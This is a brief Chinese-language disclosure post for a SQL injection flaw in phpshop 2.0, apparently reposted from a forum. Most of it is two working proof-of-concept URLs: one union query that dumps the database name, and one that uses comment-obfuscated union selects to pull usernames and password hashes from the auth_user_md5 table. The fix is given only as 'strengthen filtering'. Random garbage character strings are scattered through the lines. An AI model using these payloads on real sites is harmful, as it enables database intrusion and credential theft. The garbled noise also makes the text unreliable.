phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability

) T" [( V, k& N3 O; ^作者 : By onestree
* E3 w0 W% `9 T$ _' \3 }; P下载地址 : http://code.google.com/p/phpshop/downloads/list
测试地址: windows 7 / ubuntu
1 S6 O. v0 [# E0 W6 t3 m
( q' F' e( |" @  G
4 d1 l  [0 ~& ~SQLi p0c:

==================

- Y8 Z7 Y6 c" ?4 xhttp://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
' j+ V6 W4 A" T) |; N% hunion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --

http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
4 ?8 ?$ I9 `2 L/ W/ ~
5 Z* y  Z8 j  \' O# ?; l8 n修复：
加强过滤
​

6 @+ H/ f8 @7 c  A; @